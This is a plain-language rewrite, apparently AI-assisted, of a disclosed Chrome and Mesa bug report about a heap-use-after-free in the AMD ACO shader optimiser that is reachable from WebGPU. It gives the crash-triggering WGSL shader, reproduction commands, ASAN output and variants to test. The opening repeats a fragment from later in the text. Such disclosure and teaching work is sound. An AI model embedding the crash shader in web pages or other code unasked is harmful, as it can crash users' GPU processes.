#45 0x5d12cfca580c (/home/user/Downloads/linux-1499953/chrome+0x222d180b)
#46 0x5d12bd9c0278 (/home/user/Downloads/linux-1499953/chrome+0xffec277)
#47 0x7c3aa742a578 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a577)
#48 0x7c3aa742a63b (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a63a)
#49 0x5d12bd8e402a (/home/user/Downloads/linux-1499953/chrome+0xff10029)
  r8: 0000795aa5c3f2c8  r9: 00007ffe4fd509d0 r10: 0000000000000000 r11: 000000000000020f
 r12: 00007b4aae298cf0 r13: 0000000021000017 r14: 000078baa5b691a0 r15: 0000000000000045
  di: 00007ffe4fd509d0  si: 0000000000800000  bp: 000079caa5eaef80  bx: 000079caa5eaef80
  dx: 00007ffe4fd50a30  ax: 0000000000000018  cx: 0000000000000045  sp: 00007ffe4fd508a0
  ip: 0000783a86467b72 efl: 0000000000010206 cgf: 002b000000000033 erf: 0000000000000004
 trp: 000000000000000e msk: 0000000000000000 cr2: 000078baa6b691a0
[end of stack trace]

Chrome logs a warning that --ozone-platform=wayland is not compatible with Vulkan and suggests switching to --ozone-platform=x11 or disabling Vulkan. The process then receives signal 11 SEGV_ACCERR at address 78baa6b691a0, and the stack trace follows. The frames in the Chrome binary are shown as offsets, and the frames inside the Mesa driver appear as <unknown>.

Root cause

The crash is a heap-use-after-free in the Mesa shader compiler, in the AMD-specific ACO optimiser. The ASAN report places the faulting read in aco::(anonymous namespace)::combine_instruction at aco_optimizer.cpp:3800:46, called from aco::optimize at line 5086. The shader that triggers it combines a subgroup reduction (subgroupMin) with tanh on a storage buffer value, and the researcher notes that the crash appears to be AMD-specific, since no similar crash was found on Intel devices.

The report does not describe the exact instruction-combining logic that frees the instruction and then reads it, so the precise sequence inside combine_instruction is not stated.

Impact

The researcher notes that opening the HTML file should trigger a crash in the Chrome GPU process. The issue is reachable through WebGPU shaders emitted by dawn/tint, and reproduction requires an AMD GPU with the subgroups feature. The researcher observed the crash on an RX 7600 and did not find a similar crash on Intel devices, so the issue is probably limited to AMD hardware.

Fix

The report does not describe a fix or a code change.

Variants to test

  1. Other subgroup reductions combined with transcendental functions on a storage buffer value, for example subgroupMax, subgroupAdd or subgroupAnd wrapped in tanh, exp or similar. A positive result is an ASAN report in aco_optimizer.cpp with the same combine_instruction frame.
  2. The same shader shape with different buffer types and access qualifiers, such as var<storage, read> or vector element types instead of f32. A positive result is the same SEGV in the ACO optimiser during pipeline creation.
  3. The same shader on other AMD GPUs that support subgroups, to see whether the crash depends on the specific device. A positive result is the same ASAN report on a different card.
  4. The same shader through the Chrome path with different Chrome flags, for example without --disable-gpu-watchdog, to see whether the GPU process crash is reported the same way. A positive result is a GPU process crash with the same signature.
  5. The same shader on Intel hardware, to confirm the researcher's observation that the crash is AMD-specific. A positive result would be a crash in the Intel compiler path, which the researcher did not observe.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

A security researcher found a bug in a piece of software called Mesa. Mesa is a free, open-source collection of graphics drivers: it is the layer that lets programs talk to graphics cards on Linux. One part of Mesa is a compiler for shaders. A shader is a small program that runs on the graphics card rather than on the main processor, and it is used to draw things on screen or to do heavy number crunching in parallel.

The bug is a memory-safety problem called a heap-use-after-free. To understand the name, imagine a shared office desk. You put a folder on the desk, use it, then clear it away and tell the office manager the space is free. If you later reach for that folder and read from it anyway, you are reading something that may already belong to someone else. In a computer, the "desk" is a region of memory called the heap, the "folder" is a chunk of memory the program asked for, and "freeing" it means handing it back to the system. A use-after-free happens when a program gives memory back and then still reads from or writes to it. That can crash the program.

The researcher reached this bug through WebGPU. WebGPU is a modern web standard, an API that lets web pages use the graphics card. An API (application programming interface) is simply an agreed set of commands one piece of software offers to another, like a restaurant menu: you order by name and the kitchen decides how to cook it. Web pages cannot talk to the graphics card directly, so the browser translates their WebGPU requests into commands for the driver. In Chrome, part of that translation is done by two components called dawn and tint, which turn WebGPU shaders into a form the driver understands.

The crash happens in the AMD-specific part of Mesa's shader compiler, in a file called amd/compiler/aco_optimizer.cpp, while the shader is being compiled into a Vulkan graphics pipeline. Vulkan is another graphics API, a lower-level one that drivers implement. A pipeline is the prepared set of stages the graphics card will run to produce an image; creating one involves compiling the shaders. The researcher says they never found a similar-looking crash on Intel devices, so the problem is probably limited to AMD hardware.

The shader that triggers it uses a language extension called subgroups and combines a subgroup reduction (subgroupMin) with a mathematical function (tanh) applied to a value in a storage buffer:

Text
enable subgroups;

@group(0) @binding(0)
var<storage, read_write> g: f32;

@fragment
fn frag_main() -> @location(0) vec4<f32> {
    g = tanh(subgroupMin(-g));
    return vec4<f32>();
}

Line by line:

  1. enable subgroups; turns on the subgroups extension. A subgroup is a small group of shader threads, usually running on the same part of the graphics card, that can cooperate closely. The extension adds commands that operate across the whole subgroup at once.
  2. @group(0) @binding(0) is a slot address. WebGPU organises resources into numbered groups and numbered bindings inside each group, much like a filing cabinet with drawers and folders. This says "drawer 0, folder 0".
  3. var<storage, read_write> g: f32; declares a variable named g that lives in a storage buffer, a block of memory the shader can read and write, and whose type is f32, a 32-bit floating point number.
  4. @fragment marks the next function as a fragment shader, the kind that decides the colour of individual pixels.
  5. fn frag_main() -> @location(0) vec4<f32> { starts the function. It returns a four-component vector of 32-bit floats (red, green, blue, alpha) to output location 0.
  6. g = tanh(subgroupMin(-g)); is the interesting line. It negates g, asks the whole subgroup for the smallest of those values with subgroupMin, applies tanh (the hyperbolic tangent, a maths function that squashes numbers into a small range), and stores the result back into g.
  7. return vec4<f32>(); returns an all-zero colour.
  8. The closing brace ends the function.

The setup

The researcher reproduced the issue with this environment:

Component Version
Chrome 141.0.7353.0 (Developer Build) (64-bit) (ASAN build)
Operating system Ubuntu 25.04
Mesa mesa-25.2.3 commit 62f9be9

ASAN stands for AddressSanitizer. It is a debugging tool built into a program that watches memory use and shouts loudly, with a detailed report, the moment a program touches memory it should not. A build is a compiled copy of a program; an ASAN build is one compiled with this watchdog switched on. It is slower, but it turns silent memory mistakes into clear reports.

There are two reproduction paths. The standalone one replays a captured GFXReconstruct trace against an ASAN build of Mesa. A trace is a recording of all the graphics commands an application sent, and GFXReconstruct is a tool that can play such a recording back. The Chrome-based path loads an HTML file and triggers the crash inside Chrome's GPU process, the separate process Chrome uses to talk to the graphics card. Both paths need an ASAN build of Mesa. The Chrome path also needs an AMD graphics card that supports the subgroups feature; the researcher used an RX 7600.

Exact Mesa build instructions depend on the Linux distribution. A complete example for Ubuntu is included in the Dockerfile that comes with the standalone reproducer. Docker is a tool for packaging a program and everything it needs into a container, a sealed box that runs the same way on any machine.

Finding it

The researcher found a heap-use-after-free in the Mesa shader compiler that can be reached from WebGPU shaders produced by dawn/tint. The standalone reproducer crashes in the vendor-specific file amd/compiler/aco_optimizer.cpp. No similar-looking crash appeared on Intel devices, which suggests the bug is specific to AMD.

Reproducing it

Step 1: Build the standalone reproducer image

Put the Dockerfile and the .gfxr trace in a new directory, then build the image:

Bash
docker build -t mesarepo .

docker build tells Docker to read the Dockerfile in the current directory (the . at the end) and produce an image, a saved template for containers. -t mesarepo gives that image the name mesarepo so it can be referred to later.

Step 2: Enter the container

Bash
docker run -it mesarepo /bin/bash

docker run starts a container from the mesarepo image. -it keeps it interactive and attaches your terminal to it, and /bin/bash says to run a shell inside so you can type further commands. This puts you inside the prepared box.

Step 3: Replay the trace under ASAN

Inside the container, run the replay tool with the ASAN runtime and the AMD no-op DRM shim preloaded, and point the Vulkan loader at the ASAN-built RADV ICD:

Bash
LD_PRELOAD="/usr/lib/llvm-20/lib/clang/20/lib/linux/libclang_rt.asan-x86_64.so /mesa/buildASAN/src/amd/drm-shim/libamdgpu_noop_drm_shim.so" VK_DRIVER_FILES=/mesa/buildASAN/src/amd/vulkan/radeon_icd.x86_64.json /gfxreconstruct/build/tools/replay/gfxrecon-replay /gfxrecon.gfxr

Line by line:

  1. LD_PRELOAD="..." is an environment variable, a setting passed to a program when it starts. It lists shared libraries to load before anything else. Here it loads two: the AddressSanitizer runtime, which provides the memory watchdog, and the AMDGPU no-op DRM shim.
  2. VK_DRIVER_FILES=/mesa/buildASAN/src/amd/vulkan/radeon_icd.x86_64.json tells the Vulkan loader which driver to use. An ICD is an installable client driver, the driver file Vulkan loads. This points at the ASAN-instrumented RADV driver, the open-source AMD Vulkan driver built with the watchdog.
  3. /gfxreconstruct/build/tools/replay/gfxrecon-replay /gfxrecon.gfxr runs the replay tool on the captured trace file, so the recorded commands are sent again to the driver.

This produces the following ASAN report:

Text
AddressSanitizer:DEADLYSIGNAL
=================================================================
==18==ERROR: AddressSanitizer: SEGV on unknown address 0x6f731bde2ba0 (pc 0x6ef31762a73b bp 0x7ffc932e4a90 sp 0x7ffc932e4940 T0)
==18==The signal is caused by a READ memory access.
    #0 0x6ef31762a73b in aco::(anonymous namespace)::combine_instruction(aco::(anonymous namespace)::opt_ctx&, std::unique_ptr<aco::Instruction, aco::instr_deleter_functor>&) /mesa/buildASAN/../src/amd/compiler/aco_optimizer.cpp:3800:46
    #1 0x6ef3176091ca in aco::optimize(aco::Program*) /mesa/buildASAN/../src/amd/compiler/aco_optimizer.cpp:5086:10
    #2 0x6ef3174cc63c in (anonymous namespace)::aco_postprocess_shader[abi:cxx11](aco_compiler_options const*, std::unique_ptr<aco::Program, std::default_delete<aco::Program>>&) /mesa/buildASAN/../src/amd/compiler/aco_interface.cpp:89:10
    #3 0x6ef3174cbc32 in aco_compile_shader /mesa/buildASAN/../src/amd/compiler/aco_interface.cpp:245:26
    #4 0x6ef316a88131 in shader_compile /mesa/buildASAN/../src/amd/vulkan/radv_shader.c:3120:7
    #5 0x6ef316a88131 in radv_shader_nir_to_asm /mesa/buildASAN/../src/amd/vulkan/radv_shader.c:3151:7
    #6 0x6ef316a2df53 in radv_graphics_shaders_nir_to_asm /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:2380:21
    #7 0x6ef316a2df53 in radv_graphics_shaders_compile /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:2808:4
    #8 0x6ef316a3f8a9 in radv_graphics_pipeline_compile /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3057:4
    #9 0x6ef316a35f03 in radv_graphics_pipeline_init /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3453:13
    #10 0x6ef316a35f03 in radv_graphics_pipeline_create /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3514:13
    #11 0x6ef316a35f03 in radv_CreateGraphicsPipelines /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3669:14
    #12 0x56db1d817769 in gfxrecon::decode::VulkanReplayConsumerBase::OverrideCreateGraphicsPipelines(VkResult (*)(VkDevice_T*, VkPipelineCache_T*, unsigned int, VkGraphicsPipelineCreateInfo const*, VkAllocationCallbacks const*, VkPipeline_T**), VkResult, gfxrecon::decode::VulkanDeviceInfo const*, gfxrecon::decode::VulkanPipelineCacheInfo const*, unsigned int, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkGraphicsPipelineCreateInfo> const*, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkAllocationCallbacks> const*, gfxrecon::decode::HandlePointerDecoder<VkPipeline_T*>*) /gfxreconstruct/framework/decode/vulkan_replay_consumer_base.cpp:11229:34
    #13 0x56db1de1d702 in gfxrecon::decode::VulkanReplayConsumer::Process_vkCreateGraphicsPipelines(gfxrecon::decode::ApiCallInfo const&, VkResult, unsigned long, unsigned long, unsigned int, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkGraphicsPipelineCreateInfo>*, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkAllocationCallbacks>*, gfxrecon::decode::HandlePointerDecoder<VkPipeline_T*>*) /gfxreconstruct/framework/generated/generated_vulkan_replay_consumer.cpp:995:61
    #14 0x56db1dceb1df in gfxrecon::decode::VulkanDecoder::Decode_vkCreateGraphicsPipelines(gfxrecon::decode::ApiCallInfo const&, unsigned char const*, unsigned long) /gfxreconstruct/framework/generated/generated_vulkan_decoder.cpp:1375:52
    #15 0x56db1dd3f6e6 in gfxrecon::decode::VulkanDecoder::DecodeFunctionCall(gfxrecon::format::ApiCallId, gfxrecon::decode::ApiCallInfo const&, unsigned char const*, unsigned long) /gfxreconstruct/framework/generated/generated_vulkan_decoder.cpp:14766:41
    #16 0x56db1d6709d4 in gfxrecon::decode::FileProcessor::ProcessFunctionCall(gfxrecon::format::BlockHeader const&, gfxrecon::format::ApiCallId, bool&) /gfxreconstruct/framework/decode/file_processor.cpp:689:48
    #17 0x56db1d66f6b7 in gfxrecon::decode::FileProcessor::ProcessBlocks() /gfxreconstruct/framework/decode/file_processor.cpp:307:64
    #18 0x56db1d66ef2a in gfxrecon::decode::FileProcessor::ProcessBlocksOneFrame() /gfxreconstruct/framework/decode/file_processor.cpp:122:25
    #19 0x56db1d66edc6 in gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()::operator()() const /gfxreconstruct/framework/decode/file_processor.cpp:112:73
    #20 0x56db1d67923d in bool std::__invoke_impl<bool, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&>(std::__invoke_other, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&) /usr/include/c++/14/bits/invoke.h:61:36
    #21 0x56db1d679133 in std::enable_if<is_invocable_r_v<bool, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&>, bool>::type std::__invoke_r<bool, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&>(gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&) /usr/include/c++/14/bits/invoke.h:114:35
    #22 0x56db1d679006 in std::_Function_handler<bool (), gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()>::_M_invoke(std::_Any_data const&) /usr/include/c++/14/bits/std_function.h:290:30
    #23 0x56db1d67a8db in std::function<bool ()>::operator()() const /usr/include/c++/14/bits/std_function.h:591:9
    #24 0x56db1d66ef76 in gfxrecon::decode::FileProcessor::DoProcessNextFrame(std::function<bool ()> const&) /gfxreconstruct/framework/decode/file_processor.cpp:132:34
    #25 0x56db1d66ee17 in gfxrecon::decode::FileProcessor::ProcessNextFrame() /gfxreconstruct/framework/decode/file_processor.cpp:113:30
    #26 0x56db1d59ae82 in gfxrecon::application::Application::PlaySingleFrame() /gfxreconstruct/framework/application/application.cpp:207:52
    #27 0x56db1d59acee in gfxrecon::application::Application::Run() /gfxreconstruct/framework/application/application.cpp:168:28
    #28 0x56db1d4ee8fd in main /gfxreconstruct/tools/replay/desktop_main.cpp:324:29
    #29 0x72f31bcfa337  (/lib/x86_64-linux-gnu/libc.so.6+0x2a337) (BuildId: [redacted])
    #30 0x72f31bcfa3fa in __libc_start_main (/lib/x86

How to read this report:

  1. AddressSanitizer:DEADLYSIGNAL means the program received a fatal signal, the operating system's way of telling a program it did something illegal.
  2. ERROR: AddressSanitizer: SEGV on unknown address ... says the program tried to access an address that is not mapped to any valid memory. SEGV is short for segmentation violation, the classic "touched memory that is not yours" crash.
  3. The signal is caused by a READ memory access. says the program was reading, not writing, when it crashed.
  4. The numbered lines starting with #0, #1 and so on are the call stack, the list of function calls that led to the crash, newest first. #0 is where it actually broke: aco::(anonymous namespace)::combine_instruction at aco_optimizer.cpp:3800:46. #1 is the function that called it, aco::optimize at line 5086, and so on down the chain.
  5. Further down, the chain runs through aco_postprocess_shader, aco_compile_shader, shader_compile, radv_shader_nir_to_asm, the RADV graphics pipeline compile functions, and finally radv_CreateGraphicsPipelines, which is called by the GFXReconstruct replay consumer. In plain terms: the replay tool asked Vulkan to create a graphics pipeline, the driver started compiling the shader, and the optimiser inside the compiler crashed.
  6. The Register values block lists the contents of the processor's registers at the moment of the crash. These are tiny, very fast storage slots inside the processor. They help a developer reconstruct exactly what the program was doing.
  7. The SUMMARY line repeats the key facts: a SEGV in combine_instruction at aco_optimizer.cpp:3800:46. ABORTING means the program stopped itself.

Step 4: Reproduce through Chrome

The Chrome path needs an AMD graphics card with the subgroups feature; the researcher used an RX 7600. Opening the attached HTML file should trigger a crash in the Chrome GPU process. Start Chrome with the ASAN build of Mesa, adjusting paths as needed:

Bash
ASAN_OPTIONS=external_symbolizer_path=/usr/lib/llvm-20/bin/llvm-symbolizer VK_DRIVER_FILES=/path/to/src/amd/vulkan/radeon_icd.x86_64.json ./chrome --user-data-dir=/tmp/deleteme --use-angle=vulkan --enable-features=Vulkan --disable-gpu-watchdog --no-sandbox --enable-unsafe-webgpu

Line by line:

  1. ASAN_OPTIONS=external_symbolizer_path=/usr/lib/llvm-20/bin/llvm-symbolizer tells ASAN where to find llvm-symbolizer, a helper program that turns raw memory addresses back into readable function names and file lines. Without it, the report is a wall of numbers.
  2. VK_DRIVER_FILES=/path/to/src/amd/vulkan/radeon_icd.x86_64.json selects the ASAN-built RADV driver, the same idea as in the standalone path.
  3. ./chrome runs the Chrome binary from the current directory.
  4. --user-data-dir=/tmp/deleteme gives Chrome a throwaway profile folder, so the test does not touch your normal browser data.
  5. --use-angle=vulkan forces Chrome to use the Vulkan backend through ANGLE. ANGLE is the translation layer Chrome uses to turn web graphics calls into calls to the platform's graphics API.
  6. --enable-features=Vulkan switches the Vulkan feature on.
  7. --disable-gpu-watchdog turns off the GPU watchdog.
  8. --no-sandbox disables Chrome's sandbox, the security boundary that normally restricts what a process can do.
  9. --enable-unsafe-webgpu allows the page to use WebGPU.

The researcher's own run, with a concrete path, produced this output:

Text
ASAN_OPTIONS=external_symbolizer_path=/usr/lib/llvm-20/bin/llvm-symbolizer VK_DRIVER_FILES=/home/user/mesa/radeon_icd.x86_64.json ./chrome --user-data-dir=/tmp/deleteme --use-angle=vulkan --enable-features=Vulkan --disable-gpu-watchdog --no-sandbox --enable-unsafe-webgpu
[10519:10519:0929/172016.461885:ERROR:ui/ozone/platform/wayland/gpu/wayland_surface_factory.cc:250] '--ozone-platform=wayland' is not compatible with Vulkan. Consider switching to '--ozone-platform=x11' or disabling Vulkan
Received signal 11 SEGV_ACCERR 78baa6b691a0
#0 0x5d12bd92b8a6 (/home/user/Downloads/linux-1499953/chrome+0xff578a5)
#1 0x5d12d3920e48 (/home/user/Downloads/linux-1499953/chrome+0x25f4ce47)
#2 0x5d12d38e1317 (/home/user/Downloads/linux-1499953/chrome+0x25f0d316)
#3 0x5d12d3920272 (/home/user/Downloads/linux-1499953/chrome+0x25f4c271)
#4 0x7c3aa74458d0 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x458cf)
#5 0x783a86467b72 <unknown>
#6 0x783a8645e2fb <unknown>
#7 0x783a863f5987 <unknown>
#8 0x783a863f5499 <unknown>
#9 0x783a8614be78 <unknown>
#10 0x783a8613079f <unknown>
#11 0x783a861355c5 <unknown>
#12 0x783a86132e23 <unknown>
#13 0x5d12c07a4027 (/home/user/Downloads/linux-1499953/chrome+0x12dd0026)
#14 0x5d12c05093a8 (/home/user/Downloads/linux-1499953/chrome+0x12b353a7)
#15 0x5d12c03d8fea (/home/user/Downloads/linux-1499953/chrome+0x12a04fe9)
#16 0x5d12c03d8a55 (/home/user/Downloads/linux-1499953/chrome+0x12a04a54)
#17 0x5d12dd0b76f0 (/home/user/Downloads/linux-1499953/chrome+0x2f6e36ef)
#18 0x5d12dd0aa26d (/home/user/Downloads/linux-1499953/chrome+0x2f6d626c)
#19 0x5d12dd0b1304 (/home/user/Downloads/linux-1499953/chrome+0x2f6dd303)
#20 0x5d12dd06bd11 (/home/user/Downloads/linux-1499953/chrome+0x2f697d10)
#21 0x5d12dd06c1a4 (/home/user/Downloads/linux-1499953/chrome+0x2f6981a3)
#22 0x5d12dd060202 (/home/user/Downloads/linux-1499953/chrome+0x2f68c201)
#23 0x5d12c786d868 (/home/user/Downloads/linux-1499953/chrome+0x19e99867)
#24 0x5d12dc89d7f8 (/home/user/Downloads/linux-1499953/chrome+0x2eec97f7)
#25 0x5d12dc89ca44 (/home/user/Downloads/linux-1499953/chrome+0x2eec8a43)
#26 0x5d12dc8bed3e (/home/user/Downloads/linux-1499953/chrome+0x2eeead3d)
#27 0x5d12dc8cc8f8 (/home/user/Downloads/linux-1499953/chrome+0x2eef88f7)
#28 0x5d12dc8cc6e0 (/home/user/Downloads/linux-1499953/chrome+0x2eef86df)
#29 0x5d12c78af736 (/home/user/Downloads/linux-1499953/chrome+0x19edb735)
#30 0x5d12c78829cd (/home/user/Downloads/linux-1499953/chrome+0x19eae9cc)
#31 0x5d12c788062d (/home/user/Downloads/linux-1499953/chrome+0x19eac62c)
#32 0x5d12c7886d04 (/home/user/Downloads/linux-1499953/chrome+0x19eb2d03)
#33 0x5d12d37700a7 (/home/user/Downloads/linux-1499953/chrome+0x25d9c0a6)
#34 0x5d12d37e2d68 (/home/user/Downloads/linux-1499953/chrome+0x25e0ed67)
#35 0x5d12d37e1c4d (/home/user/Downloads/linux-1499953/chrome+0x25e0dc4c)
#36 0x5d12d37e385b (/home/user/Downloads/linux-1499953/chrome+0x25e0f85a)
#37 0x5d12d3635cd7 (/home/user/Downloads/linux-1499953/chrome+0x25c61cd6)
#38 0x5d12d37e4425 (/home/user/Downloads/linux-1499953/chrome+0x25e10424)
#39 0x5d12d36eeea0 (/home/user/Downloads/linux-1499953/chrome+0x25d1ae9f)
#40 0x5d12de76d57b (/home/user/Downloads/linux-1499953/chrome+0x30d9957a)
#41 0x5d12cfca75c1 (/home/user/Downloads/linux-1499953/chrome+0x222d35c0)
#42 0x5d12cfca864e (/home/user/Downloads/linux-1499953/chrome+0x222d464d)
#43 0x5d12cfcaafb4 (/home/user/Downloads/linux-1499953/chrome+0x222d6fb3)
#44 0x5d12cfca52df (/home/user/Downloads/linux-1499953/chrome+0x222d12de)
#45 0x5d12cfca580c (/home/user/Downloads/linux-1499953/chrome+0x222d180b)
#46 0x5d12bd9c0278 (/home/user/Downloads/linux-1499953/chrome+0xffec277)
#47 0x7c3aa742a578 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a577)
#48 0x7c3aa742a63b (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a63a)
#49 0x5d12bd8e402a (/home/user/Downloads/linux-1499953/chrome+0xff10029)
  r8: 0000795aa5c3f2c8  r9: 00007ffe4fd509d0 r10: 0000000000000000 r11: 000000000000020f
 r12: 00007b4aae298cf0 r13: 0000000021000017 r14: 000078baa5b691a0 r15: 0000000000000045
  di: 00007ffe4fd509d0  si: 0000000000800000  bp: 000079caa5eaef80  bx: 000079caa5eaef80
  dx: 00007ffe4fd50a30  ax: 0000000000000018  cx: 0000000000000045  sp: 00007ffe4fd508a0
  ip: 0000783a86467b72 efl: 0000000000010206 cgf: 002b000000000033 erf: 0000000000000004
 trp: 000000000000000e msk: 0000000000000000 cr2: 000078baa6b691a0
[end of stack trace]

How to read this output:

  1. The first line repeats the command that was run, with the researcher's own path to the driver.
  2. The ERROR line is a warning from Chrome's display layer: --ozone-platform=wayland is not compatible with Vulkan, and it suggests switching to --ozone-platform=x11 or disabling Vulkan. Ozone is Chrome's windowing abstraction, and Wayland and X11 are two display systems on Linux.
  3. Received signal 11 SEGV_ACCERR 78baa6b691a0 is Chrome's crash handler reporting the same kind of fatal signal as before. SEGV_ACCERR is a more specific code meaning the access permission was wrong for that address.
  4. The #0 to #49 lines are again the call stack. Frames inside the Chrome binary show as an offset from the start of the binary, such as chrome+0xff578a5, and frames inside the Mesa driver show as <unknown>.
  5. The register block at the end lists processor registers at the moment of the crash, ending with [end of stack trace].

Root cause

The crash is a heap-use-after-free in the Mesa shader compiler, in the AMD-specific ACO optimiser. ACO is the compiler backend that turns shaders into instructions for AMD graphics cards, and an optimiser is the part that rewrites code to make it faster or smaller. The ASAN report puts the faulting read in aco::(anonymous namespace)::combine_instruction at aco_optimizer.cpp:3800:46, called from aco::optimize at line 5086. The shader that triggers it combines a subgroup reduction (subgroupMin) with tanh on a storage buffer value, and the researcher notes the crash appears to be AMD-specific, since no similar crash was found on Intel devices.

The report does not describe the exact instruction-combining logic that frees the instruction and then reads it, so the precise sequence inside combine_instruction is not stated.

Impact

The researcher notes that opening the HTML file should trigger a crash in the Chrome GPU process. The issue is reachable through WebGPU shaders produced by dawn/tint, and reproducing it needs an AMD graphics card with the subgroups feature. The researcher saw the crash on an RX 7600 and did not find a similar crash on Intel devices, so the issue is probably limited to AMD hardware.

Variants to test

  1. Other subgroup reductions combined with transcendental functions on a storage buffer value, for example subgroupMax, subgroupAdd or subgroupAnd wrapped in tanh, exp or similar. A positive result is an ASAN report in aco_optimizer.cpp with the same combine_instruction frame.
  2. The same shader shape with different buffer types and access qualifiers, such as var<storage, read> or vector element types instead of f32. A positive result is the same SEGV in the ACO optimiser during pipeline creation.
  3. The same shader on other AMD graphics cards that support subgroups, to see whether the crash depends on the specific device. A positive result is the same ASAN report on a different card.
  4. The same shader through the Chrome path with different Chrome flags, for example without --disable-gpu-watchdog, to see whether the GPU process crash is reported the same way. A positive result is a GPU process crash with the same signature.
  5. The same shader on Intel hardware, to confirm the researcher's observation that the crash is AMD-specific. A positive result would be a crash in the Intel compiler path, which the researcher did not observe.

Glossary

  • ACO: the AMD-specific shader compiler backend inside Mesa that turns shaders into instructions for AMD graphics cards.
  • AddressSanitizer (ASAN): a debugging tool built into a program that detects illegal memory access and prints a detailed report when it happens.
  • AMDGPU no-op DRM shim: a stand-in driver that pretends to be an AMD graphics card so software can run without real hardware.
  • ANGLE: a translation layer Chrome uses to turn web graphics calls into calls to the platform's graphics API.
  • API: an agreed set of commands one piece of software offers to another.
  • Build: a compiled copy of a program.
  • Call stack: the list of function calls that led to a particular point in a program, newest first.
  • Chrome GPU process: the separate process Chrome uses to talk to the graphics card.
  • Container: a sealed box created by Docker that runs a program with everything it needs.
  • dawn/tint: Chrome components that translate WebGPU shaders into a form the graphics driver understands.
  • Docker: a tool for packaging a program and its dependencies into a container.
  • Dockerfile: a text file describing how to build a Docker image.
  • Environment variable: a setting passed to a program when it starts.
  • f32: a 32-bit floating point number.
  • Fragment shader: a shader that decides the colour of individual pixels.
  • GFXReconstruct: a tool that records and replays graphics commands.
  • Heap: the region of memory a program uses for chunks it requests at runtime.
  • Heap-use-after-free: a bug where a program gives memory back and then still reads from or writes to it.
  • ICD (installable client driver): the driver file the Vulkan loader loads.
  • Image: in Docker, a saved template from which containers are started.
  • LD_PRELOAD: an environment variable listing shared libraries to load before anything else.
  • Mesa: a free, open-source collection of graphics drivers, mainly for Linux.
  • Ozone: Chrome's windowing abstraction on Linux.
  • Pipeline: the prepared set of stages the graphics card runs to produce an image.
  • RADV: the open-source AMD Vulkan driver in Mesa.
  • Register: a tiny, very fast storage slot inside a processor.
  • SEGV (segmentation violation): a fatal signal raised when a program accesses memory it is not allowed to.
  • Shader: a small program that runs on the graphics card.
  • Storage buffer: a block of memory a shader can read and write.
  • Subgroup: a small group of shader threads that can cooperate closely.
  • Subgroup reduction: an operation that combines a value across all threads in a subgroup into one result, such as the minimum.
  • tanh: the hyperbolic tangent, a maths function that squashes numbers into a small range.
  • Trace: a recording of the graphics commands an application sent.
  • Use-after-free: see heap-use-after-free.
  • Vulkan: a low-level graphics API that drivers implement.
  • Wayland / X11: two display systems on Linux.
  • WebGPU: a web standard that lets web pages use the graphics card.
  • Watchdog: a timer that kills a process that seems stuck.

More by Anonymous

View all

2,270 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.